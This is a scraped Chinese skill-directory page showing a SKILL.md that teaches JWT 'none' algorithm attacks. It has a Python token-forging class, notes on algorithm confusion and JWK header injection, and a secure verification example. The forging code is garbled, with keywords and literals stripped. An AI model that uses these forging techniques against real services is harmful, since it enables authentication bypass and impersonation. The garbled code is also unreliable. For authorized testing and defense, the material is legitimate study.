用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-jwt-none-algorithm-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | performing-jwt-none-algorithm-attack |
| description | 通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。 |
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
JWT 由三个以点分隔的 Base64URL 编码部分组成:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 签名(Signature)
使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出:{'alg': 'HS256', 'typ': 'JWT'}
# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出:{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
#!/usr/bin/env python3
"""JWT None 算法攻击工具
通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# 'none' 算法值的所有已知变体
NONE_VARIANTS = [
"none", "None", "NONE", "nOnE",
"noNe", "NoNe", "nONE", "nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""使用 none 算法和修改后的载荷构造 JWT。"""
# 创建使用 none 算法的头部
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# 编码修改后的载荷
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
() -> :
results = []
base_headers = headers {}
variant .NONE_VARIANTS:
modified_payload = (.original_payload)
modified_payload[] =
token = .craft_none_token(modified_payload, variant)
test_headers = (base_headers)
test_headers[] =
:
response = requests.get(
,
headers=test_headers,
timeout=
)
result = {
: variant,
: response.status_code,
: response.status_code == ,
: (response.content),
}
results.append(result)
response.status_code == :
()
:
()
requests.exceptions.RequestException e:
results.append({
: variant, : ,
: , : (e)
})
results
算法混淆攻击(RS256 转 HS256):
如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:
alg 改为 HS256JWK 头部注入(CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<攻击者控制的密钥>",
"e": "AQAB"
}
}
# 安全的 JWT 验证——始终指定允许的算法
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""使用显式算法白名单验证 JWT。"""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # 关键:显式白名单
options={
"require": ["exp", "iat", "sub"], # 必需声明
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("无效的令牌算法")
except jwt.ExpiredSignatureError:
raise ValueError("令牌已过期")
except jwt.InvalidTokenError:
raise ValueError("无效的令牌")
"alg": "none"(或大小写变体)的 JWT 令牌